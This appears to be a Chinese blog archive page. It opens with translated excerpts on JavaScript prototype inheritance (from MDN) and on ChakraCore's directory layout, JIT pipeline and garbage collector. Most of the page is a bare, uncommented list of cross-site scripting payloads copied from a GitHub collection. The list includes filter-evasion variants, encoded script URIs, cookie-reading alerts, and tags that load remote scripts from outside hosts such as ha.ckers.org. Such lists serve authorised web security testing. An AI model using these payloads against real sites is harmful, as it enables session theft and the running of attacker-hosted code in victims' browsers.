继承和原型链



tem.pw主要存放原创的**翻译**文章,即知识主体并非产自我这里的文章,但同时为了补充说明,我也会在里面添加一些东西。本系列来自MDN的文章。更多原创文章可以参考http://nul.pw。

文章翻译来源:blast

禁止转载

继承和原型链

JavaScript对于基于类的语言(如Java或C ++)有经验的开发人员有点混乱,因为它是动态的,并且不提供类实现(类关键字在ES2015中引入,但是只是作为语法糖,JavaScript仍然是基于原型的)。

当涉及到继承时,JavaScript只有一个结构:对象。每个对象都有一个私有属性(称为[[Prototype]]),它保存一个链接到另一个叫做它的“原型”的对象。该原型对象具有自己的原型,这样循环下去,直到一个对象的原型是null。根据定义,null没有原型,并且作为此原型链中的最终端。

JavaScript中几乎所有的对象都是Object的实例,它位于原型链的顶端。

虽然这通常被认为是JavaScript的弱点之一,但是原型继承模型实际上比经典模型更强大。例如,在原型模型之上构建经典模型是相当容易的。

原型链的继承
继承属性
JavaScript对象是动态的“包”属性(称为own properties)。 JavaScript对象具有到原型对象的链接。 当尝试访问对象的属性时,该属性不仅将在对象上寻找,而且还可能在对象的原型,以及原型的原型等上进行查找,直到找到具有匹配名称的属性或者结束的原型链。

根据ECMAScript标准,someObject.[[Prototype]]的符号用于指定someObject的原型。 从ECMAScript 2015起,使用访问器Object.getPrototypeOf()和Object.setPrototypeOf()访问[[Prototype]]。 这相当于JavaScript属性的__proto__,这是非标准的,但实际上许多浏览器实现了它。

它不应该与函数的func.prototype属性相混淆,函数的prototype是指定在作为构造函数使用给定函数创建的对象的所有实例时分配的[[Prototype]]。 Object.prototype属性表示Object原型对象。

Saturday, June 24, 2017 by blast

ChakraCore Wiki:Summary of Directory Structure



tem.pw主要存放原创的**翻译**文章,即知识主体并非产自我这里的文章,但同时为了补充说明,我也会在里面添加一些东西。本系列来自微软Github ChakraCore的Wiki。更多原创文章可以参考http://nul.pw。

文章翻译来源:blast

禁止转载

[Root]                        (介绍文档, Jenkins 脚本等) 
|-- Lib 
    |-- Common 
        |-- Codex             (UTF8 转换) 
        |-- Core              (内核支持) 
        |-- Exceptions        (异常类) 
        |-- DataStructures    (Link list, Dictionary等) 
        |-- Memory            (内存管理,Arena, GC等) 
        |-- Common            (杂类) 
    |-- Runtime 
        |-- Base              (基类,比如ScriptContext, ThreadContext的基类)
        |-- Types             (类型系统) 
        |-- ByteCode          (字节码定义、生成器和序列化器) 
        |-- Language          (语言实现。比如js解释器的循环和操作支持) 
        |-- Library           (JavaScript内建库的实现) 
        |-- Debug             (调试器支持) 
    |-- Parser                (JavaScript 语言和正则解析) 
    |-- Backend               (JIT 原生代码生成器) 
    |-- JSRT                  (JSRT API 实现)
|-- Bin 
    |-- ChakraCore            (Builds ChakraCore.dll) 
    |-- ch                    (Chakra Host,就是我们调试用的ch.exe) 
    |-- rl                    (单元测试程序) 
|-- Build                     (支持构建配置和脚本) 
    |-- ... 
|-- Test                      (单元测试) 
    |-- ...
Tuesday, June 20, 2017 by blast

ChakraCore Wiki:Architecture Overview



tem.pw主要存放原创的**翻译**文章,即知识主体并非产自我这里的文章,但同时为了补充说明,我也会在里面添加一些东西。本系列来自微软Github ChakraCore的Wiki。更多原创文章可以参考http://nul.pw。

文章翻译来源:blast

禁止转载

ChakraCore组件

ChakraCore是一款功能齐全的JavaScript虚拟机,它与Chakra支持的功能和特性基本相同。不同之处主要有两个。

1,Chakra有一套浏览器和UAP的绑定接口,这套接口没有暴露在ChakraCore中(但是你可以使用JSRT API来完成同样的功能)。
2,Chakra中使用的基于COM的诊断API没有暴露出来,因为ChakraCore想做跨平台,而COM只有Windows有,所以微软在做一套新的基于JSON的接口来支持调试。

chakracore_componentization.png[/img]

执行通路

ChakraCore支持多层架构—— 一个利用解释器进行快速启动的并行JIT编译器。JIT可高速生成高度优化的代码,同时还支持后台GC来减少卡顿并为应用程序和站点提供卓越的UI响应。一旦应用程序或站点的JavaScript源代码启动了JavaScript子系统,ChakraCore就会执行一个快速的解析过程来检查语法错误。之后,ChakraCore中的所有其他工作都将按照每个函数的需要进行。只要有可能,ChakraCore就会推迟那些不需要立刻执行的函数的函数解析和生成抽象语法树(AST)过程,并从主线程上撤离诸如JIT编译和GC的工作,以在保持可用性的同时保持应用和网站快速响应。

当第一次执行函数时,ChakraCore的解析器创建源函数的AST。然后将AST转换为字节码,由ChakraCore的解释器立即执行。当解释器正在执行字节码时,它会收集诸如类型信息和调用计数之类的数据,以创建正在执行的功能的配置文件。作为JIT编译功能的一部分,该配置文件数据用于生成高度优化的机器码(JIT代码)。

当ChakraCore注意到在解释器中多次调用某个函数或循环体时,它会将ChakraCore的后台JIT编译器管道中的函数排队,以生成该函数的优化的JIT代码。一旦JIT的代码准备就绪,ChakraCore将替换该函数或循环入口点,以便对函数或循环的后续调用开始执行更快的JIT代码,而不是通过解释器继续执行字节码。

ChakraCore的后台JIT编译器基于数据生成高度优化的JIT代码,并根据解释器收集的配置文件数据推测可能的使用模式。鉴于JavaScript代码的动态特性,如果代码的执行方式不满足配置文件的预先假设,则JIT的代码将“缓存”到解码器,其中较慢的字节码执行方式将会重新启动,同时引擎会继续收集更多的配置文件数据。

为了平衡JIT代码与进程内存占用的时间量之间的平衡(而不是在每次bailout发生时JIT都编译函数),ChakraCore将存储的JIT代码用于函数或循环体。如果bailout时间过长并超过特定阈值,这将会使代码重新进行JIT,并且旧的JIT代码会被丢弃。

chakracore_pipeline.png[/img]

JIT编译器

ChakraCore具有两层JIT编译器。在同一个并发后台线程中,ChakraCore拥有一个完整的JIT编译器(Full JIT),还有一个简单的JIT编译器。完整的JIT可以生成高度优化的代码,而简单的JIT本质上是一个较少优化版本的Full JIT。

在执行流程中,ChakraCore首先将解释器中的函数执行切换到执行简单的JIT代码,然后由Full JIT生成一次完全优化的JIT代码。在大多数情况下,简单的JIT编译比完整的JIT编译所花费的时间更少,因此与单层JIT架构相比,ChakraCore可以为应用程序和站点提供更快的启动速度。具有简单JIT层的另一个固有优点是,如果发生bailout,到完全优化的重编译的JIT的代码可用前,函数执行流可以从解释器更快地切换到简单JIT。简单的JIT代码执行管道也继续收集完整JIT编译器使用的配置文件数据,以生成优化的JIT代码。

ChakraCore还可以在ChakraCore确定底层硬件潜在未充分利用的情况下,为JIT编译生成多个并发后台线程。在多个并发的后台JIT线程进行生成的情况下,Chakra的简单JIT和完整JIT都会被分割并排队等待跨多个JIT线程进行编译。这有助于减少整体JIT编译延迟,有时能相对较快地将较慢的解释代码切换到JIT代码的简单或完全优化版本。

chakracore_multiplejit.png[/img]

垃圾回收器

ChakraCore有一个称为“mark-and-sweep”的支持并发或部分处理的垃圾收集器。
当启动完全并发GC时,ChakraCore的后台GC将执行第一次标记,然后重新扫描以查找在后台GC线程标记时因主线程执行而修改的对象。第二个标记过程会标记重新扫描期间发现的对象。 一旦第二次标记完成,主线程会暂停以进行最终重新扫描的过程。

完成后,执行在主线程和专用GC线程之间分割的最终标记。后台GC线程会查找不可触达(无引用)的对象并将其添加回分配池。

chakracore_gc.png[/img]

by blast

xss payloads



xss payloads

(from https://github.com/7ioSecurity/XSS-Payloads/blob/master/xss_payloads_2016)

<script>alert(123)</script>
<script>alert("hellox worldss");</script>
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
&lt;INPUT TYPE="IMAGE" SRC="javascript&#058;alert('XSS');"&gt;
&lt;BODY BACKGROUND="javascript&#058;alert('XSS')"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC="javascript&#058;alert('XSS')"&gt;
&lt;IMG LOWSRC="javascript&#058;alert('XSS')"&gt;
&lt;BGSOUND SRC="javascript&#058;alert('XSS');"&gt;
&lt;BR SIZE="&{alert('XSS')}"&gt;
&lt;LAYER SRC="http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html"&gt;&lt;/LAYER&gt;
&lt;LINK REL="stylesheet" HREF="javascript&#058;alert('XSS');"&gt;
&lt;LINK REL="stylesheet" HREF="http&#58;//ha&#46;ckers&#46;org/xss&#46;css"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV="Link" Content="&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url("http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss")}&lt;/STYLE&gt;
&lt;XSS STYLE="behavior&#58; url(xss&#46;htc);"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url("javascript&#058;alert('XSS')");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox("XSS")'&gt;
&lt;IMG SRC="mocha&#58;&#91;code&#93;"&gt;
&lt;IMG SRC="livescript&#058;&#91;code&#93;"&gt;
žscriptualert(EXSSE)ž/scriptu
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript&#058;alert('XSS');"&gt;
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&gt;
&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http&#58;//;URL=javascript&#058;alert('XSS');"
&lt;IFRAME SRC="javascript&#058;alert('XSS');"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC="javascript&#058;alert('XSS');"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND="javascript&#058;alert('XSS')"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND="javascript&#058;alert('XSS')"&gt;
&lt;DIV STYLE="background-image&#58; url(javascript&#058;alert('XSS'))"&gt;
&lt;DIV STYLE="background-image&#58;07507206C028'06a06107606107306307206907007403a06106c065072074028&#46;1027058&#46;1053053027029'029"&gt;
&lt;DIV STYLE="background-image&#58; url(javascript&#058;alert('XSS'))"&gt;
&lt;DIV STYLE="width&#58; expression(alert('XSS'));"&gt;
&lt;STYLE&gt;@import'javascript&#58;alert("XSS")';&lt;/STYLE&gt;
&lt;IMG STYLE="xss&#58;expr/*XSS*/ession(alert('XSS'))"&gt;
&lt;XSS STYLE="xss&#58;expression(alert('XSS'))"&gt;
exp/*&lt;A STYLE='noxss&#58;noxss("*//*");
xss&#58;ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'&gt;
&lt;STYLE TYPE="text/javascript"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url("javascript&#058;alert('XSS')");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type="text/css"&gt;BODY{background&#58;url("javascript&#058;alert('XSS')")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF="javascript&#058;alert('XSS');//"&gt;
&lt;OBJECT TYPE="text/x-scriptlet" DATA="http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;swf" AllowScriptAccess="always"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC="data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"&gt;&lt;/EMBED&gt;
a="get";
b="URL("";
c="javascript&#058;";
d="alert('XSS');")";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace="xss" implementation="http&#58;//ha&#46;ckers&#46;org/xss&#46;htc"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC="javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID="xss"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC="javas&lt;!-- --&gt;cript&#58;alert('XSS')"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&gt;&lt;/SPAN&gt;
&lt;XML SRC="xsstest&#46;xml" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix="t" ns="urn&#58;schemas-microsoft-com&#58;time"&gt;
&lt;?import namespace="t" implementation="#default#time2"&gt;
&lt;t&#58;set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd="/bin/echo '&lt;SCR'"--&gt;&lt;!--#exec cmd="/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert("XSS")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC="http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a="&gt;" SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT ="&gt;" SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a="&gt;" '' SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT "a='&gt;'" SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a="&gt;'&gt;" SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write("&lt;SCRI");&lt;/SCRIPT&gt;PT SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;A HREF="http&#58;//66&#46;102&#46;7&#46;147/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//1113982867/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//0102&#46;0146&#46;0007&#46;00000223/"&gt;XSS&lt;/A&gt;
&lt;A HREF="htt	p&#58;//6	6&#46;000146&#46;0x7&#46;147/"&gt;XSS&lt;/A&gt;
&lt;A HREF="//www&#46;google&#46;com/"&gt;XSS&lt;/A&gt;
&lt;A HREF="//google"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//ha&#46;ckers&#46;org@google"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//google&#58;ha&#46;ckers&#46;org"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//google&#46;com/"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//www&#46;google&#46;com&#46;/"&gt;XSS&lt;/A&gt;
&lt;A HREF="javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'"&gt;XSS&lt;/A&gt;
&lt;A HREF="http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
x3c
x3C
u003c
u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC="javascript&#058;alert('XSS')"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert("XSS");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/&#124;&#93;^`=alert("XSS")&gt;
&lt;SCRIPT/XSS SRC="http&#58;//ha&#46;ckers&#46;org/xss&#46;js"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC="   javascript&#058;alert('XSS');"&gt;
perl -e 'print "&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;";' &gt; out
perl -e 'print "&lt;IMG SRC=javascript&#058;alert("XSS")&gt;";' &gt; out
&lt;IMG SRC="jav&#x0D;ascript&#058;alert('XSS');"&gt;
&lt;IMG SRC="jav&#x0A;ascript&#058;alert('XSS');"&gt;
&lt;IMG SRC="jav&#x09;ascript&#058;alert('XSS');"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG """&gt;&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;"&gt;
&lt;IMG SRC=`javascript&#058;alert("RSnake says, 'XSS'")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC="javascript&#058;alert('XSS');"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//';alert(String&#46;fromCharCode(88,83,83))//";alert(String&#46;fromCharCode(88,83,83))//";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:07507206C028'06a06107606107306307206907007403a06106c065072074028.1027058.1053053027029'029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@import'javascript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='noxss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja"";c="vascr";d="ipt:ale";e="rt('XSS');")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
“><ScRiPt>alert(document.cookie)</script>
“><<script>alert(document.cookie);//<</script>
foo%00<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
‘; alert(document.cookie); var foo=’
foo’; alert(document.cookie);//’;
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert(’XSS’)>
